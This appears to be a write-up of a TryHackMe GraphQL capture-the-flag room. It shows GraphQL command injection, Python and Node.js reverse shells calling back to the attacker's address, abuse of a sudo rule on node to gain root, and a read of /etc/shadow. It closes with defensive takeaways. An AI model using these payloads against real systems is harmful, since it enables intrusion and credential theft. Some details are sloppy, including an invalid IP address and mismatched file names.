Join the TryHackMe GraphQL room

The Mission: Get user para’s hash

Enumeration

Since this is a GraphQL room, the first thing I do was try to hit the ip address from my browser and land on a GraphiQL interface so I didn’t bother to run nmap or any other scans yet.

GraphQL is self documenting which is nice for developers and also… me. I have a look at the docs in the GraphiQL interface and click on Query to see what queries are available. There is only one query available Ping(ip: String!): Ping.

tryhackme graphql queries
tryhackme graphql queries

This is interesting because it alludes to an RCE (Remote Code Execution) vulnerability since ping is command you would run in your terminal. I then click on ‘Ping’ in the docs to get the available fields in the schema. It has two fields id and output.

tryhackme graphql queries
tryhackme graphql queries

I give the query a try to see what happens: { Ping(ip: "ls") { ip output } } and get an error:

{
  "errors": [
    {
      "message": "Command failed: ping -c 3 ls\nping: asdf: Temporary failure in name resolution\n",
      "locations": [
        {
          "line": 31,
          "column": 3
        }
      ],
      "path": [
        "Ping"
      ]
    }
  ],
  "data": {
    "Ping": null
  }
}

Simple fix needed, terminate the ping command with a ;: { Ping(ip: "; ls") { ip output } } and I get promising output.

{
  "data": {
    "Ping": {
      "ip": "; ls",
      "output": "node_modules\npackage-lock.json\nserver.js\n"
    }
  }
}

Getting in

Since I can execute commands, I just need a reverse shell script I can run from here. First, I start a netcat listener:

nc -nvlp 4444

I go to the trusty PayloadsAllTheThings. Since Python is installed on almost all flavors of Linux and scripts are easy to run from the command line, I give my common go to script a shot in GraphiQL:

{ Ping(ip: "; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.6.16.555\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'") { ip output } }```

And I am in. As usual I improve my experience with python -c 'import pty;pty.spawn("/bin/bash")'. I id myself and I am the user para whose hash I need. I list the contents of their home directory; it’s the same as the output from the ls I ran via GraphiQL: node_modules, package-lock.json, server.js

My shell is dumb so I couldn’t paste the Linux Smart Enumeration script into a file well. I went with wget from a local python server and run the enumeration script:

python3 -m http.server 1234
cd /tmp && wget http://10.6.16.555:1234/server-nc.js
chmod +x lse.sh; ./lse.sh
(out)No hashes in /etc/passwd
(out)[!] sys020 Does the /etc/passwd have hashes?............................... nope
(out)...
(out)[!] sud010 Can we list sudo commands without a password?................... yes!
(out)...
(out)Matching Defaults entries for para on ubuntu:
(out)env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
(out)User para may run the following commands on ubuntu:
(out)(ALL : ALL) NOPASSWD: /usr/bin/node /home/para/server.js

The important findings are that I can run sudo with no password for /usr/bin/node /home/para/server.js which will let me escalate my privileges. And that there are no hashes in /etc/passwd which means the hash will probably be found in the shadow file.

Privilege Escalation

It is obvious I have Nodejs available because we have a node_modules directory and a server.js file in the para home directory. Back to PayloadsAllTheThings for a Nodejs payload. I initially try the netcat version, but that doesn’t work so I go with the longer option. I create the file locally, get it with wget and copy the contents to the server.js file in the para home directory.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.6.16.555", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();
wget http://10.6.16.555:1234/server.js
cat server.js > /home/para/server.js

I start a second netcat listener

nc -nvlp 4242

I run the server.js file and I am root.

sudo /usr/bin/node /home/para/server.js
id
(out)uid=0(root) gid=0(root) groups=0(root)

Post Exploit

Getting the hash

If there are no hashes in /etc/passwd, the next place to look is /etc/shadow. And there it is…

cat /etc/shadow
(out)...
(out)para:{{REDACTED_HASH>}}:18535:0:99999:7:::

Takeaways

  • Avoid executing commands with user input. Use your languages libraries to accomplish the same if possible.
  • If you can't use a library, use a tried and tested library to sanitize the input and limit which commands can be run.
  • If it is not a public API don't leave GraphiQL exposed.

Invaluable Tools